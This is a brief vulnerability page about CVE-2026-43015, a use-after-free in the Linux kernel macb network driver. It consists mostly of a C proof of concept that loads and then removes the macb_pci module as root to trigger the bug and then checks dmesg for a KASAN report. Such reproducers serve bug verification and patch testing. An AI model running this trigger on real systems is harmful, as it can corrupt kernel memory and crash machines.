CVE-2026-43015 Linux内核macb驱动UAF漏洞

/* * PoC for CVE-2026-43015: Trigger UAF in macb driver * Compile: gcc -o poc poc.c * Usage: sudo ./poc * Requires root privileges to load/unload kernel modules. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main() { printf("[*] Attempting to trigger CVE-2026-43015...\n"); // Step 1: Load the vulnerable driver printf("[*] Loading macb_pci driver...\n"); system("modprobe macb_pci"); printf("[*] Waiting for device registration...\n"); sleep(1); // Step 2: Remove the driver to trigger the race condition printf("[*] Removing macb_pci driver to trigger UAF...\n"); // The UAF occurs during remove path interacting with runtime resume system("rmmod macb_pci"); printf("[*] Check dmesg for KASAN use-after-free reports.\n"); return 0; }